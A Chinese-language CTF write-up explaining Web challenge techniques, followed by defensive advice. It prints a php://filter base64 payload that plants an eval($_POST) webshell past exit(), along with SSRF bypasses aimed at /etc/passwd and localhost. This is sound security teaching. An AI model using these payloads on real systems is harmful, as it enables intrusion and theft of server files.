2024金盾信安杯Web赛题深度解析:绕过技巧与实战应用
1. 绕过exit()函数的艺术:从死亡函数到代码执行
在Web安全竞赛中,遇到exit()这类"死亡函数"时,很多新手会直接放弃。但实际通过PHP的编码特性,我们可以巧妙绕过这个限制。让我用一个真实案例来解释这个技术要点。
去年我在某次渗透测试中,就遇到过类似场景。目标系统使用file_put_contents()函数写入文件时,自动在内容前拼接了<?php exit(); ?>。常规思路下,这段代码会立即终止程序执行,导致后续注入的恶意代码无法生效。但通过深入研究PHP的流过滤器机制,我发现了一个绝妙的绕过方法。
php://filter伪协议配合base64解码是关键。具体原理是:当使用convert.base64-decode过滤器时,PHP会忽略所有非base64字符(即不在A-Z、a-z、0-9、+、/这64个字符范围内的内容)。原始代码中的<?php exit(); ?>经过这个过滤后,只有"phpexit"这7个字符会被保留。而base64解码需要4字节对齐,所以我们只需要补一个任意字符(比如字母a)就能凑齐8字节。
实际操作时,构造的payload形如:
file_put_contents('php://filter/convert.base64-decode/resource=shell.php', 'aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==');这个技巧的精妙之处在于:
- 前置的字母a用于补齐字节
- 后面跟着的是
<?php eval($_POST[a]);的base64编码 - 解码后死亡函数被破坏,而我们的木马保持完整
2. php://filter的进阶玩法:不只是base64
很多选手只知道用base64解码绕过,其实php://filter还有更多高阶用法。在最近一次CTF比赛中,我就遇到了需要多层过滤器嵌套的情况。
比如这个payload结构:
php://filter/convert.iconv.UTF-8.UTF-7|convert.base64-decode/resource=test.php这里先用iconv将UTF-8转UTF-7,改变了原始数据的编码格式,再配合base64解码。这种组合拳能绕过某些特殊的过滤检测。
实测中还发现几个实用技巧:
- 大小写转换:用
string.toupper或string.tolower过滤器可以干扰某些正则检测 - 字符替换:
string.strip_tags可以去除特定标签 - 压缩流:
zlib.deflate和zlib.inflate的组合能创造新的攻击面
特别提醒:不同PHP版本对过滤器的处理可能有差异。建议在本地用Docker搭建对应版本的环境进行测试,我就在PHP5.6和PHP7.4上遇到过截然不同的行为。
3. SSRF漏洞的花式绕过技巧
去年给某企业做安全审计时,发现他们的SSRF防护存在典型缺陷——只检测了"file://"这种完整协议字符串。通过简单的变形就能绕过:
file:\///etc/passwd file:////etc/passwd File:///etc/passwd(大小写混淆)更高级的绕过方式包括:
IP地址变形:
- 十进制IP:
http://2130706433= 127.0.0.1 - 八进制IP:
http://0177.0.0.1 - 十六进制IP:
http://0x7f.0x0.0x0.0x1
- 十进制IP:
域名重定向: 利用短网址服务或可控DNS记录,将域名解析到127.0.0.1
协议混淆:
- 使用非标准端口:
http://127.0.0.1:80@evil.com - 利用URL解析差异:
http://127.1/(省略后面的.0.1)
- 使用非标准端口:
在实战中,我发现127.0.0.2到127.255.255.254这个范围经常被开发者忽略。某次比赛中就是通过http://127.0.0.2/flag.php直接拿到了flag。
4. 实战中的信息搜集与利用
很多Web题目的突破点都藏在细节里。以hoverfly这道题为例,我当时的解题思路是:
- 首先确认漏洞存在:通过搜索引擎发现hoverfly有公开漏洞
- 尝试常规payload:文件读取发现都是假flag
- 转换思路到命令执行:发现页面信息与命令回显存在对应关系
- 使用grep全局搜索:
grep -r "flag{" /快速定位真实flag位置
这里有个实用技巧:当遇到需要猜测文件名的场景时,不要盲目尝试。应该先用find / -type f -mtime -1这样的命令查找最近修改过的文件,或者用grep -r "关键词" /进行内容搜索。
在最近一次比赛中,我还发现组合使用locate和stat命令能快速定位关键文件:
locate flag | xargs stat -c '%n %y' | sort -k2这个命令能按修改时间排序所有包含"flag"的文件,极大提高了效率。
5. 防御视角的思考与建议
站在开发者的角度,我总结了几点防御建议:
对于文件写入操作:
- 严格限制写入目录
- 禁用危险协议(php://、phar://等)
- 对内容进行严格校验
针对SSRF防护:
- 使用白名单校验域名和IP
- 禁用所有非必要协议
- 检查重定向行为
- 考虑使用DNS重绑定防护
命令执行防护:
- 避免直接拼接用户输入
- 使用参数化查询
- 设置严格的权限控制
在开发过程中,我习惯用Docker搭建不同版本的测试环境,用strace和tcpdump监控系统调用和网络流量,这样能更直观地理解攻击者的操作路径。
